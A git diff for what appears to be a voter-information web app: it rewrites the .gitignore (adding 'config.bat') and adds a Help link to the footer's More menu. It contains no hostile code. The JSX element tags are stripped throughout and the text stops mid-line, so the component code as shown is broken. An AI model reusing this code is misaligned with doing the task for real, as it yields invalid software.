diff --git a/.gitignore b/.gitignore index 90cd55c41..37c9b67c0 100644 --- a/.gitignore +++ b/.gitignore @@ -1,194 +1,195 @@ -# This .gitignore file partially built from https://github.com/github/gitignore -# and https://github.com/github/gitignore/blob/master/Node.gitignore - -# Ignore build files -build -build-live -package-lock.json - -# TernJS -################### -.tern-project - -# Logs -################### -logs -*.log -npm-debug.log* - -# Runtime data -################### -pids -*.pid -*.seed - -# Directory for instrumented libs generated by jscoverage/JSCover -################### -lib-cov - -# Grunt intermediate storage (http://gruntjs.com/creating-plugins#storing-task-files) -################### -.grunt - -# node-waf configuration -################### -.lock-wscript - -# Compiled binary addons (http://nodejs.org/api/addons.html) -################### -build/Release - -# Dependency directory -################### -# https://docs.npmjs.com/misc/faq#should-i-check-my-node-modules-folder-into-git -node_modules - -# Optional npm cache directory -################### -.npm - -# Optional REPL history -################### -.node_repl_history - -# Compiled source # -################### -venv -*.com -*.class -*.dll -*.exe -*.so - -# PyInstaller # -# Usually these files are written by a python script from a template -# before PyInstaller builds the exe, so as to inject date/other infos into it. -############### -*.manifest -*.spec - -# Installer logs # -################## -pip-log.txt -pip-delete-this-directory.txt - -# Unit test / coverage reports # -################################ -htmlcov/ -.tox/ -.coverage -.coverage.* -.cache -nosetests.xml -coverage.xml -*,cover - -# Translations # -################ -*.mo -*.pot - -# Sphinx documentation # -######################## -docs/_build/ - -# PyBuilder # -############# -target/ - -# Packages # -############ -# it's better to unpack these files and commit the raw source -# git has its own built in compression methods -*.7z -*.dmg -*.iso -*.rar -*.zip - -# OS generated files # -###################### -.DS_Store -.DS_Store? -._* -.Spotlight-V100 -.Trashes -ehthumbs.db -Thumbs.db -.AppleDouble -.LSOverride - -# SublimeText # -############### -# cache files for sublime text -*.tmlanguage.cache -*.tmPreferences.cache -*.stTheme.cache - -# workspace files are user-specific -*.sublime-workspace - -# project files should be checked into the repository, unless a significant -# proportion of contributors will probably not be using SublimeText -# *.sublime-project - -# sftp configuration file # -########################### -sftp-config.json - -# Pycharm # -########### -.idea - -# Vim / emacs # -############### -*.swp -*.swo - -# Compass / Sass # -################## -.sass-cache - -# Heroku Related # -################## -staticfiles - -# Other # -######### -/geo/data/ -/**/migrations/*.py -!/**/migrations/__init__.py -srcCordova -src/cert/*.* -!src/cert/README.txt -src/js/compileDate.js -src/js/config.js -src/js/config-qa.js -src/js/config-www.js -tests/browserstack/browserstack.config.js -src/javascript/google-tag-manager.js -src/javascript/google-tag-manager-qa.js -src/javascript/google-tag-manager-www.js -src/javascript/google-analytics.js -src/javascript/google-analytics-qa.js -src/javascript/google-analytics-www.js -web_app/build/* -*.crt -*.key -.vscode -.gitattributes -/yarn.lock -server.csr -tests/browserstack/wdio.conf.js -tests/browserstack/wdio.conf.template -tests/browserstack*/config/browserstack.config.js -tests/browserstack*/capabilities/mobile.json -tests/browserstack*/screenshots/ -storybook-static/ -compileDate.js.backup -tests/browserstack_automation/config/googleDrive.config.js -tests/browserstack_automation/config/googleDriveOAuth.config.js -tests/browserstack_automation/config/googleDriveOAuthToken.json -tests/browserstack_automation/apps/* -tests/browserstack_automation/*.ipa -tests/browserstack_automation/*.apk +# This .gitignore file partially built from https://github.com/github/gitignore +# and https://github.com/github/gitignore/blob/master/Node.gitignore + +# Ignore build files +build +build-live +package-lock.json + +# TernJS +################### +.tern-project + +# Logs +################### +logs +*.log +npm-debug.log* + +# Runtime data +################### +pids +*.pid +*.seed + +# Directory for instrumented libs generated by jscoverage/JSCover +################### +lib-cov + +# Grunt intermediate storage (http://gruntjs.com/creating-plugins#storing-task-files) +################### +.grunt + +# node-waf configuration +################### +.lock-wscript + +# Compiled binary addons (http://nodejs.org/api/addons.html) +################### +build/Release + +# Dependency directory +################### +# https://docs.npmjs.com/misc/faq#should-i-check-my-node-modules-folder-into-git +node_modules + +# Optional npm cache directory +################### +.npm + +# Optional REPL history +################### +.node_repl_history + +# Compiled source # +################### +venv +*.com +*.class +*.dll +*.exe +*.so + +# PyInstaller # +# Usually these files are written by a python script from a template +# before PyInstaller builds the exe, so as to inject date/other infos into it. +############### +*.manifest +*.spec + +# Installer logs # +################## +pip-log.txt +pip-delete-this-directory.txt + +# Unit test / coverage reports # +################################ +htmlcov/ +.tox/ +.coverage +.coverage.* +.cache +nosetests.xml +coverage.xml +*,cover + +# Translations # +################ +*.mo +*.pot + +# Sphinx documentation # +######################## +docs/_build/ + +# PyBuilder # +############# +target/ + +# Packages # +############ +# it's better to unpack these files and commit the raw source +# git has its own built in compression methods +*.7z +*.dmg +*.iso +*.rar +*.zip + +# OS generated files # +###################### +.DS_Store +.DS_Store? +._* +.Spotlight-V100 +.Trashes +ehthumbs.db +Thumbs.db +.AppleDouble +.LSOverride + +# SublimeText # +############### +# cache files for sublime text +*.tmlanguage.cache +*.tmPreferences.cache +*.stTheme.cache + +# workspace files are user-specific +*.sublime-workspace + +# project files should be checked into the repository, unless a significant +# proportion of contributors will probably not be using SublimeText +# *.sublime-project + +# sftp configuration file # +########################### +sftp-config.json + +# Pycharm # +########### +.idea + +# Vim / emacs # +############### +*.swp +*.swo + +# Compass / Sass # +################## +.sass-cache + +# Heroku Related # +################## +staticfiles + +# Other # +######### +/geo/data/ +/**/migrations/*.py +!/**/migrations/__init__.py +srcCordova +src/cert/*.* +!src/cert/README.txt +src/js/compileDate.js +src/js/config.js +src/js/config-qa.js +src/js/config-www.js +tests/browserstack/browserstack.config.js +src/javascript/google-tag-manager.js +src/javascript/google-tag-manager-qa.js +src/javascript/google-tag-manager-www.js +src/javascript/google-analytics.js +src/javascript/google-analytics-qa.js +src/javascript/google-analytics-www.js +web_app/build/* +*.crt +*.key +.vscode +.gitattributes +/yarn.lock +server.csr +tests/browserstack/wdio.conf.js +tests/browserstack/wdio.conf.template +tests/browserstack*/config/browserstack.config.js +tests/browserstack*/capabilities/mobile.json +tests/browserstack*/screenshots/ +storybook-static/ +compileDate.js.backup +tests/browserstack_automation/config/googleDrive.config.js +tests/browserstack_automation/config/googleDriveOAuth.config.js +tests/browserstack_automation/config/googleDriveOAuthToken.json +tests/browserstack_automation/apps/* +tests/browserstack_automation/*.ipa +tests/browserstack_automation/*.apk +config.bat diff --git a/src/js/components/Navigation/FooterBar.jsx b/src/js/components/Navigation/FooterBar.jsx index e4d1f0786..2346c7bdb 100644 --- a/src/js/components/Navigation/FooterBar.jsx +++ b/src/js/components/Navigation/FooterBar.jsx @@ -1,514 +1,529 @@ -import { Article, CalendarMonth, Groups, Home, HowToVote, Info, MoreHoriz, People, QuestionAnswer, VerifiedUser } from '@mui/icons-material'; -import { Badge, BottomNavigation, BottomNavigationAction, ClickAwayListener } from '@mui/material'; -import withStyles from '@mui/styles/withStyles'; -import PropTypes from 'prop-types'; -import React, { Suspense } from 'react'; -import styled from 'styled-components'; -import DesignTokenColors from '../../common/components/Style/DesignTokenColors'; -import DelayedLoad from '../../common/components/Widgets/DelayedLoad'; -import signInModalGlobalState from '../../common/components/Widgets/signInModalGlobalState'; -import AppObservableStore, { messageService } from '../../common/stores/AppObservableStore'; -import { isIOS } from '../../common/utils/cordovaUtils'; -import historyPush from '../../common/utils/historyPush'; -import { normalizedHref } from '../../common/utils/hrefUtils'; -import { isAndroid, isCordova, isWebApp } from '../../common/utils/isCordovaOrWebApp'; -import { renderLog } from '../../common/utils/logging'; -import normalizedImagePath from '../../common/utils/normalizedImagePath'; -import stringContains from '../../common/utils/stringContains'; -import webAppConfig from '../../config'; -import FriendStore from '../../stores/FriendStore'; -import VoterStore from '../../stores/VoterStore'; -import { cordovaFooterHeight } from '../../utils/cordovaOffsets'; -import ShareButtonFooter from '../Share/ShareButtonFooter'; - -const nextReleaseFeaturesEnabled = webAppConfig.ENABLE_NEXT_RELEASE_FEATURES === undefined ? false : webAppConfig.ENABLE_NEXT_RELEASE_FEATURES; - -const OpenExternalWebSite = React.lazy(() => import(/* webpackChunkName: 'OpenExternalWebSite' */ '../../common/components/Widgets/OpenExternalWebSite')); - -// It's not ideal to have two images, but this is a complex svg, and I couldn't figure out how to change the fill color with a variable -const capitalBuilding = '/img/global/svg-icons/capital-building.svg'; -const capitalBuildingSelected = '/img/global/svg-icons/capital-building-selected.svg'; -const weVoteIcon = '/img/global/svg-icons/we-vote-icon-square-color-grey.svg'; -const weVoteIconSelected = '/img/global/svg-icons/we-vote-icon-square-color-dark.svg'; - - -function MoreMenuOverlay ({ anchorRef, classes, friendInvitationsSentToMeCount, onClose }) { - const pathname = normalizedHref(); - const isAbout = pathname.includes('/more/faq'); - const isChallenges = pathname.includes('/challenges'); - const isDiscuss = pathname.includes('/news'); - const isElectionFinder = pathname.includes('/election-finder'); - const isFriends = pathname.includes('/friends'); - const isManage = pathname.includes('/manage') || pathname.includes('/no-candidates-claimed'); - - // Ignore clicks on the More anchor so the button's own onChange owns toggling. - const handleClickAway = (event) => { - if (anchorRef && anchorRef.current && anchorRef.current.contains(event.target)) return; - onClose(); - }; - - return ( - - - { onClose(); historyPush('/more/faq'); }}> - - About & FAQ - - { AppObservableStore.setShowHowItWorksModal(true); }}> - - How it works - - {nextReleaseFeaturesEnabled && ( - { onClose(); historyPush('/no-candidates-claimed'); }}> - - Candidates -
- I'm managing -
- )} - { onClose(); historyPush('/election-finder'); }}> - - Election Finder - - { onClose(); historyPush('/friends'); }}> - {friendInvitationsSentToMeCount > 0 ? ( - {friendInvitationsSentToMeCount}} - classes={{ - badge: classes.footerFriendsNotificationBadge, - }} - color="primary" - max={9} - style={{ - fontSize: 10, - right: 0, - top: 4, - }} - > - - - ) : ( - - )} - Friends - - { onClose(); historyPush('/news'); }}> - - Discuss - - {nextReleaseFeaturesEnabled && ( - { onClose(); historyPush('/challenges'); }}> - - Challenges - - )} - {isWebApp() && ( - }> - -
- Blog - - )} - /> - - )} - - - ); -} -MoreMenuOverlay.propTypes = { - anchorRef: PropTypes.shape({ current: PropTypes.any }), - classes: PropTypes.object.isRequired, - friendInvitationsSentToMeCount: PropTypes.number.isRequired, - onClose: PropTypes.func.isRequired, -}; - -class FooterBar extends React.Component { - constructor (props) { - super(props); - this.anchorRef = React.createRef(); - this.state = { - friendInvitationsSentToMeCount: 0, - // inPrivateLabelMode: false, // setState onAppObservableStoreChange is not working sometimes for some reason - showingOneCompleteYourProfileModal: false, - showSignInModal: false, - // voterIsSignedIn: false, - }; - } - - componentDidMount () { - this.onVoterStoreChange(); - this.appStateSubscription = messageService.getMessage().subscribe(() => this.onAppObservableStoreChange()); - this.friendStoreListener = FriendStore.addListener(this.onFriendStoreChange.bind(this)); - this.voterStoreListener = VoterStore.addListener(this.onVoterStoreChange.bind(this)); - const showingOneCompleteYourProfileModal = AppObservableStore.showingOneCompleteYourProfileModal(); - const showShareModal = AppObservableStore.showShareModal(); - const showSharedItemModal = AppObservableStore.showSharedItemModal(); - const showSignInModal = AppObservableStore.showSignInModal(); - const showVoterPlanModal = AppObservableStore.showVoterPlanModal(); - const friendInvitationsSentToMe = FriendStore.friendInvitationsSentToMe(); - const friendInvitationsSentToMeCount = (friendInvitationsSentToMe) ? friendInvitationsSentToMe.length : 0; - this.setState({ - friendInvitationsSentToMeCount, - // inPrivateLabelMode: AppObservableStore.getHideWeVoteLogo(), // Using this setting temporarily // setState onAppObservableStoreChange is not working sometimes for some reason - - showingOneCompleteYourProfileModal, - showShareModal, - showSharedItemModal, - showSignInModal, - showVoterPlanModal, - }); - } - - componentWillUnmount () { - this.appStateSubscription.unsubscribe(); - this.friendStoreListener.remove(); - this.voterStoreListener.remove(); - } - - onAppObservableStoreChange () { - const showActivityTidbitDrawer = AppObservableStore.showActivityTidbitDrawer(); - const showingOneCompleteYourProfileModal = AppObservableStore.showingOneCompleteYourProfileModal(); - const showShareModal = AppObservableStore.showShareModal(); - const showSharedItemModal = AppObservableStore.showSharedItemModal(); - const showSignInModal = AppObservableStore.showSignInModal(); - const showVoterPlanModal = AppObservableStore.showVoterPlanModal(); - this.setState({ - // inPrivateLabelMode: AppObservableStore.getHideWeVoteLogo(), // Using this setting temporarily // setState onAppObservableStoreChange is not working sometimes for some reason - showActivityTidbitDrawer, - showingOneCompleteYourProfileModal, - showShareModal, - showSharedItemModal, - showSignInModal, - showVoterPlanModal, - }); - } - - onFriendStoreChange () { - if (!signInModalGlobalState.get('textOrEmailSignInInProcess')) { - // console.log('FooterBar, onFriendStoreChange'); - const friendInvitationsSentToMe = FriendStore.friendInvitationsSentToMe(); - const friendInvitationsSentToMeCount = (friendInvitationsSentToMe) ? friendInvitationsSentToMe.length : 0; - this.setState({ - friendInvitationsSentToMeCount, - }); - } - } - - onVoterStoreChange () { - // const voter = VoterStore.getVoter(); - // const voterIsSignedIn = voter.is_signed_in || false; - // this.setState({ - // voterIsSignedIn, - // }); - } - - handleChange = (event, value) => { - if (isCordova()) { - const { impact } = window.TapticEngine; - impact({ - style: 'heavy', // light | medium | heavy - }); - } - // In browser mobile, we can offer donate footer link - // If NOT signed in, turn Discuss off and How It Works on - // Regardless of whether visible or not the option's numerical position remains the same - // console.log('FooterBar, handleChange value:', value); - const showMoreMenuCurrentState = this.state.showMoreMenu || false; - switch (value) { - case 0: - return historyPush('/ready'); - case 1: - return historyPush('/ballot'); - case 2: - return historyPush('/cs/'); - case 3: - return historyPush('/donate'); - case 4: - return this.setState({ showMoreMenu: !showMoreMenuCurrentState }); - default: - return null; - } - }; - - getSelectedTab = () => { - const pathname = normalizedHref(); - const pathnameLowerCase = pathname.toLowerCase(); - if (pathname === '/') return 0; // readyLight has no path - if (stringContains('/ready', pathnameLowerCase)) return 0; - if (stringContains('/ballot', pathnameLowerCase)) return 1; - if (pathnameLowerCase.endsWith('/cs/')) return 2; - if (stringContains('/donate', pathnameLowerCase)) return 3; - // Treat these as "More" so the More tab stays highlighted - if (stringContains('/managecandidates', pathnameLowerCase)) return 4; - if (stringContains('/no-candidates-claimed', pathnameLowerCase)) return 4; - if (stringContains('/friends', pathnameLowerCase)) return 4; - if (stringContains('/challenges', pathnameLowerCase)) return 4; - if (stringContains('/+/', pathname) || stringContains('/++/', pathname)) return 4; - if (stringContains('/squads', pathnameLowerCase)) return 4; - if (stringContains('/news', pathnameLowerCase)) return 4; - if (stringContains('/more', pathnameLowerCase)) return 4; - return -1; - }; - - render () { - renderLog('FooterBar'); // Set LOG_RENDER_EVENTS to log all renders - const { classes } = this.props; - const { - friendInvitationsSentToMeCount, - showActivityTidbitDrawer, showingOneCompleteYourProfileModal, - showMoreMenu, showShareModal, - showSharedItemModal, showSignInModal, showVoterPlanModal, - } = this.state; - const pathname = normalizedHref(); - const showShareButtonFooter = stringContains('/ballot', pathname.toLowerCase()); - const inPrivateLabelMode = AppObservableStore.getHideWeVoteLogo(); // setState onAppObservableStoreChange is not working sometimes for some reason - // const badgeStyle = { - // display: 'inline-block', - // }; - const hideFooterBehindModal = showActivityTidbitDrawer || showingOneCompleteYourProfileModal || showShareModal || showSharedItemModal || showSignInModal || showVoterPlanModal; - const defaultIconStyles = { - '& .MuiBottomNavigationAction-root.Mui-selected, svg': { - fontSize: 37, - }, - '& .MuiBottomNavigationAction-label.Mui-selected': { - fontSize: 16, - fontWeight: 600, - }, - '& .MuiBottomNavigationAction-root, svg': { - fontSize: 35, - }, - '& .MuiBottomNavigationAction-label': { - fontSize: 16, - }, - }; - const donateIconStyles = { - '& .MuiBottomNavigationAction-root.Mui-selected, svg': { - fontSize: 32, - }, - '& .MuiBottomNavigationAction-label.Mui-selected': { - fontSize: 16, - fontWeight: 600, - }, - '& .MuiBottomNavigationAction-root, svg': { - fontSize: 30, - }, - '& .MuiBottomNavigationAction-label': { - fontSize: 16, - marginBottom: '-4px', - }, - }; - - // console.log('friendInvitationsSentToMeCount:', friendInvitationsSentToMeCount); - // If NOT signed in, turn Discuss off and How It Works on - let donateVisible; - if (inPrivateLabelMode) { - donateVisible = false; // Turn off donate link if an org has private labeled WeVote - } else { - donateVisible = true; // 2025-06-17 Enabling donations, we hear it is now permissible for nonprofits in iOS & Android - // console.log('--------- Footer bar donateVisible ', donateVisible, 'squadsVisible', squadsVisible); - } - - return ( - - {showShareButtonFooter && ( - - - - )} - - - } - id="readyTabFooterBar" - label="Home" - showLabel - sx={defaultIconStyles} - /> - } - id="ballotTabFooterBar" - label="Ballot" - showLabel - sx={defaultIconStyles} - style={{ - marginLeft: '-4px', - paddingLeft: 0, - }} - /> - - ) : ( - - )} - label="Candidates" - style={{ - marginLeft: '-4px', - }} - showLabel - sx={defaultIconStyles} - /> - {donateVisible && ( - } - sx={donateIconStyles} - /> - )} - } - sx={defaultIconStyles} - /> - - {showMoreMenu && ( - { - this.setState({ showMoreMenu: false }); - }} - /> - )} - - - ); - } -} -FooterBar.propTypes = { - classes: PropTypes.object, -}; - -const styles = () => ({ - footerFriendsNotificationBadge: { - backgroundColor: DesignTokenColors.alert400, - fontSize: 10, - height: 15, - marginRight: 0, - marginTop: 5, - minWidth: 15, - width: 15, - }, -}); - -const BadgeCountWrapper = styled('span')(({ theme }) => (` - display: flex; - justify-content: center; - margin-bottom: 3px; - padding-top: 0; - ${theme.breakpoints.down('md')} { - padding-top: 1px; - } -`)); - -const FooterBarWrapperFooterBar = styled('div')` - @media print{ - display: none; - } -`; - -const FooterContainer = styled('div')` - background: ${DesignTokenColors.whiteUI}; ; - border-top: 1px solid ${DesignTokenColors.neutralUI50}; - bottom: 0; - box-shadow: 0 -4px 4px -1px rgba(0, 0, 0, 0.2), 0 -4px 5px 0 rgba(0, 0, 0, 0.14), 0 -1px 10px 0 rgba(0, 0, 0, 0.12); - padding-left: 0; - position: fixed; - width: 100%; - left: 0; - ${!isAndroid() ? 'padding-bottom: env(safe-area-inset-bottom)' : ''}; -`; - -const Overlay = styled.div` - align-items: stretch; - background: ${DesignTokenColors.whiteUI}; - border: 1px solid ${DesignTokenColors.neutralUI100}; - border-radius: 10px; - bottom: 56px; - box-shadow: 0 8px 24px rgba(0,0,0,.1); - display: flex; - flex-wrap: wrap; - gap: 12px; - justify-content: center; - position: fixed; - right: 8px; - transition: opacity .2s ease; - z-index: 9999; -`; - -const MenuItem = styled.div` - border-radius: 10px; - color: ${({ $active }) => ($active ? 'rgb(32, 109, 179)' : DesignTokenColors.neutralUI600)}; - cursor: pointer; - align-items: center; - display: inline-flex; - flex-direction: column; - font-size: 16px; - justify-content: center; - line-height: 1.2; - min-height: 84px; - min-width: 88px; - padding: 8px 10px; - text-align: center; - svg { - height: 40px; - width: 40px; - margin-bottom: 6px; - } - img { - width: 40px; - } -`; - -export default withStyles(styles)(FooterBar); +import { Article, CalendarMonth, Groups, Home, HowToVote, Info, MoreHoriz, People, QuestionAnswer, Support, VerifiedUser } from '@mui/icons-material'; +import { Badge, BottomNavigation, BottomNavigationAction, ClickAwayListener } from '@mui/material'; +import withStyles from '@mui/styles/withStyles'; +import PropTypes from 'prop-types'; +import React, { Suspense } from 'react'; +import styled from 'styled-components'; +import DesignTokenColors from '../../common/components/Style/DesignTokenColors'; +import DelayedLoad from '../../common/components/Widgets/DelayedLoad'; +import signInModalGlobalState from '../../common/components/Widgets/signInModalGlobalState'; +import AppObservableStore, { messageService } from '../../common/stores/AppObservableStore'; +import { isIOS } from '../../common/utils/cordovaUtils'; +import historyPush from '../../common/utils/historyPush'; +import { normalizedHref } from '../../common/utils/hrefUtils'; +import { isAndroid, isCordova, isWebApp } from '../../common/utils/isCordovaOrWebApp'; +import { renderLog } from '../../common/utils/logging'; +import normalizedImagePath from '../../common/utils/normalizedImagePath'; +import stringContains from '../../common/utils/stringContains'; +import webAppConfig from '../../config'; +import FriendStore from '../../stores/FriendStore'; +import VoterStore from '../../stores/VoterStore'; +import { cordovaFooterHeight } from '../../utils/cordovaOffsets'; +import ShareButtonFooter from '../Share/ShareButtonFooter'; + +const nextReleaseFeaturesEnabled = webAppConfig.ENABLE_NEXT_RELEASE_FEATURES === undefined ? false : webAppConfig.ENABLE_NEXT_RELEASE_FEATURES; + +const OpenExternalWebSite = React.lazy(() => import(/* webpackChunkName: 'OpenExternalWebSite' */ '../../common/components/Widgets/OpenExternalWebSite')); + +// It's not ideal to have two images, but this is a complex svg, and I couldn't figure out how to change the fill color with a variable +const capitalBuilding = '/img/global/svg-icons/capital-building.svg'; +const capitalBuildingSelected = '/img/global/svg-icons/capital-building-selected.svg'; +const weVoteIcon = '/img/global/svg-icons/we-vote-icon-square-color-grey.svg'; +const weVoteIconSelected = '/img/global/svg-icons/we-vote-icon-square-color-dark.svg'; +const weVoteHelpUrl = 'https://help.wevote.us/hc/en-us'; + + +function MoreMenuOverlay ({ anchorRef, classes, friendInvitationsSentToMeCount, onClose }) { + const pathname = normalizedHref(); + const isAbout = pathname.includes('/more/faq'); + const isChallenges = pathname.includes('/challenges'); + const isDiscuss = pathname.includes('/news'); + const isElectionFinder = pathname.includes('/election-finder'); + const isFriends = pathname.includes('/friends'); + const isManage = pathname.includes('/manage') || pathname.includes('/no-candidates-claimed'); + + // Ignore clicks on the More anchor so the button's own onChange owns toggling. + const handleClickAway = (event) => { + if (anchorRef && anchorRef.current && anchorRef.current.contains(event.target)) return; + onClose(); + }; + + return ( + + + { onClose(); historyPush('/more/faq'); }}> + + About & FAQ + + { AppObservableStore.setShowHowItWorksModal(true); }}> + + How it works + + }> + { onClose(); }}> + + Help + + )} + /> + + {nextReleaseFeaturesEnabled && ( + { onClose(); historyPush('/no-candidates-claimed'); }}> + + Candidates +
+ I'm managing +
+ )} + { onClose(); historyPush('/election-finder'); }}> + + Election Finder + + { onClose(); historyPush('/friends'); }}> + {friendInvitationsSentToMeCount > 0 ? ( + {friendInvitationsSentToMeCount}} + classes={{ + badge: classes.footerFriendsNotificationBadge, + }} + color="primary" + max={9} + style={{ + fontSize: 10, + right: 0, + top: 4, + }} + > + + + ) : ( + + )} + Friends + + { onClose(); historyPush('/news'); }}> + + Discuss + + {nextReleaseFeaturesEnabled && ( + { onClose(); historyPush('/challenges'); }}> + + Challenges + + )} + {isWebApp() && ( + }> + +
+ Blog + + )} + /> + + )} + + + ); +} +MoreMenuOverlay.propTypes = { + anchorRef: PropTypes.shape({ current: PropTypes.any }), + classes: PropTypes.object.isRequired, + friendInvitationsSentToMeCount: PropTypes.number.isRequired, + onClose: PropTypes.func.isRequired, +}; + +class FooterBar extends React.Component { + constructor (props) { + super(props); + this.anchorRef = React.createRef(); + this.state = { + friendInvitationsSentToMeCount: 0, + // inPrivateLabelMode: false, // setState onAppObservableStoreChange is not working sometimes for some reason + showingOneCompleteYourProfileModal: false, + showSignInModal: false, + // voterIsSignedIn: false, + }; + } + + componentDidMount () { + this.onVoterStoreChange(); + this.appStateSubscription = messageService.getMessage().subscribe(() => this.onAppObservableStoreChange()); + this.friendStoreListener = FriendStore.addListener(this.onFriendStoreChange.bind(this)); + this.voterStoreListener = VoterStore.addListener(this.onVoterStoreChange.bind(this)); + const showingOneCompleteYourProfileModal = AppObservableStore.showingOneCompleteYourProfileModal(); + const showShareModal = AppObservableStore.showShareModal(); + const showSharedItemModal = AppObservableStore.showSharedItemModal(); + const showSignInModal = AppObservableStore.showSignInModal(); + const showVoterPlanModal = AppObservableStore.showVoterPlanModal(); + const friendInvitationsSentToMe = FriendStore.friendInvitationsSentToMe(); + const friendInvitationsSentToMeCount = (friendInvitationsSentToMe) ? friendInvitationsSentToMe.length : 0; + this.setState({ + friendInvitationsSentToMeCount, + // inPrivateLabelMode: AppObservableStore.getHideWeVoteLogo(), // Using this setting temporarily // setState onAppObservableStoreChange is not working sometimes for some reason + + showingOneCompleteYourProfileModal, + showShareModal, + showSharedItemModal, + showSignInModal, + showVoterPlanModal, + }); + } + + componentWillUnmount () { + this.appStateSubscription.unsubscribe(); + this.friendStoreListener.remove(); + this.voterStoreListener.remove(); + } + + onAppObservableStoreChange () { + const showActivityTidbitDrawer = AppObservableStore.showActivityTidbitDrawer(); + const showingOneCompleteYourProfileModal = AppObservableStore.showingOneCompleteYourProfileModal(); + const showShareModal = AppObservableStore.showShareModal(); + const showSharedItemModal = AppObservableStore.showSharedItemModal(); + const showSignInModal = AppObservableStore.showSignInModal(); + const showVoterPlanModal = AppObservableStore.showVoterPlanModal(); + this.setState({ + // inPrivateLabelMode: AppObservableStore.getHideWeVoteLogo(), // Using this setting temporarily // setState onAppObservableStoreChange is not working sometimes for some reason + showActivityTidbitDrawer, + showingOneCompleteYourProfileModal, + showShareModal, + showSharedItemModal, + showSignInModal, + showVoterPlanModal, + }); + } + + onFriendStoreChange () { + if (!signInModalGlobalState.get('textOrEmailSignInInProcess')) { + // console.log('FooterBar, onFriendStoreChange'); + const friendInvitationsSentToMe = FriendStore.friendInvitationsSentToMe(); + const friendInvitationsSentToMeCount = (friendInvitationsSentToMe) ? friendInvitationsSentToMe.length : 0; + this.setState({ + friendInvitationsSentToMeCount, + }); + } + } + + onVoterStoreChange () { + // const voter = VoterStore.getVoter(); + // const voterIsSignedIn = voter.is_signed_in || false; + // this.setState({ + // voterIsSignedIn, + // }); + } + + handleChange = (event, value) => { + if (isCordova()) { + const { impact } = window.TapticEngine; + impact({ + style: 'heavy', // light | medium | heavy + }); + } + // In browser mobile, we can offer donate footer link + // If NOT signed in, turn Discuss off and How It Works on + // Regardless of whether visible or not the option's numerical position remains the same + // console.log('FooterBar, handleChange value:', value); + const showMoreMenuCurrentState = this.state.showMoreMenu || false; + switch (value) { + case 0: + return historyPush('/ready'); + case 1: + return historyPush('/ballot'); + case 2: + return historyPush('/cs/'); + case 3: + return historyPush('/donate'); + case 4: + return this.setState({ showMoreMenu: !showMoreMenuCurrentState }); + default: + return null; + } + }; + + getSelectedTab = () => { + const pathname = normalizedHref(); + const pathnameLowerCase = pathname.toLowerCase(); + if (pathname === '/') return 0; // readyLight has no path + if (stringContains('/ready', pathnameLowerCase)) return 0; + if (stringContains('/ballot', pathnameLowerCase)) return 1; + if (pathnameLowerCase.endsWith('/cs/')) return 2; + if (stringContains('/donate', pathnameLowerCase)) return 3; + // Treat these as "More" so the More tab stays highlighted + if (stringContains('/managecandidates', pathnameLowerCase)) return 4; + if (stringContains('/no-candidates-claimed', pathnameLowerCase)) return 4; + if (stringContains('/friends', pathnameLowerCase)) return 4; + if (stringContains('/challenges', pathnameLowerCase)) return 4; + if (stringContains('/+/', pathname) || stringContains('/++/', pathname)) return 4; + if (stringContains('/squads', pathnameLowerCase)) return 4; + if (stringContains('/news', pathnameLowerCase)) return 4; + if (stringContains('/more', pathnameLowerCase)) return 4; + return -1; + }; + + render () { + renderLog('FooterBar'); // Set LOG_RENDER_EVENTS to log all renders + const { classes } = this.props; + const { + friendInvitationsSentToMeCount, + showActivityTidbitDrawer, showingOneCompleteYourProfileModal, + showMoreMenu, showShareModal, + showSharedItemModal, showSignInModal, showVoterPlanModal, + } = this.state; + const pathname = normalizedHref(); + const showShareButtonFooter = stringContains('/ballot', pathname.toLowerCase()); + const inPrivateLabelMode = AppObservableStore.getHideWeVoteLogo(); // setState onAppObservableStoreChange is not working sometimes for some reason + // const badgeStyle = { + // display: 'inline-block', + // }; + const hideFooterBehindModal = showActivityTidbitDrawer || showingOneCompleteYourProfileModal || showShareModal || showSharedItemModal || showSignInModal || showVoterPlanModal; + const defaultIconStyles = { + '& .MuiBottomNavigationAction-root.Mui-selected, svg': { + fontSize: 37, + }, + '& .MuiBottomNavigationAction-label.Mui-selected': { + fontSize: 16, + fontWeight: 600, + }, + '& .MuiBottomNavigationAction-root, svg': { + fontSize: 35, + }, + '& .MuiBottomNavigationAction-label': { + fontSize: 16, + }, + }; + const donateIconStyles = { + '& .MuiBottomNavigationAction-root.Mui-selected, svg': { + fontSize: 32, + }, + '& .MuiBottomNavigationAction-label.Mui-selected': { + fontSize: 16, + fontWeight: 600, + }, + '& .MuiBottomNavigationAction-root, svg': { + fontSize: 30, + }, + '& .MuiBottomNavigationAction-label': { + fontSize: 16, + marginBottom: '-4px', + }, + }; + + // console.log('friendInvitationsSentToMeCount:', friendInvitationsSentToMeCount); + // If NOT signed in, turn Discuss off and How It Works on + let donateVisible; + if (inPrivateLabelMode) { + donateVisible = false; // Turn off donate link if an org has private labeled WeVote + } else { + donateVisible = true; // 2025-06-17 Enabling donations, we hear it is now permissible for nonprofits in iOS & Android + // console.log('--------- Footer bar donateVisible ', donateVisible, 'squadsVisible', squadsVisible); + } + + return ( + + {showShareButtonFooter && ( + + + + )} + + + } + id="readyTabFooterBar" + label="Home" + showLabel + sx={defaultIconStyles} + /> + } + id="ballotTabFooterBar" + label="Ballot" + showLabel + sx={defaultIconStyles} + style={{ + marginLeft: '-4px', + paddingLeft: 0, + }} + /> + + ) : ( + + )} + label="Candidates" + style={{ + marginLeft: '-4px', + }} + showLabel + sx={defaultIconStyles} + /> + {donateVisible && ( + } + sx={donateIconStyles} + /> + )} + } + sx={defaultIconStyles} + /> + + {showMoreMenu && ( + { + this.setState({ showMoreMenu: false }); + }} + /> + )} + + + ); + } +} +FooterBar.propTypes = { + classes: PropTypes.object, +}; + +const styles = () => ({ + footerFriendsNotificationBadge: { + backgroundColor: DesignTokenColors.alert400, + fontSize: 10, + height: 15, + marginRight: 0, + marginTop: 5, + minWidth: 15, + width: 15, + }, +}); + +const BadgeCountWrapper = styled('span')(({ theme }) => (` + display: flex; + justify-content: center; + margin-bottom: 3px; + padding-top: 0; + ${theme.breakpoints.down('md')} { + padding-top: 1px; + } +`)); + +const FooterBarWrapperFooterBar = styled('div')` + @media print{ + display: none; + } +`; + +const FooterContainer = styled('div')` + background: ${DesignTokenColors.whiteUI}; ; + border-top: 1px solid ${DesignTokenColors.neutralUI50}; + bottom: 0; + box-shadow: 0 -4px 4px -1px rgba(0, 0, 0, 0.2), 0 -4px 5px 0 rgba(0, 0, 0, 0.14), 0 -1px 10px 0 rgba(0, 0, 0, 0.12); + padding-left: 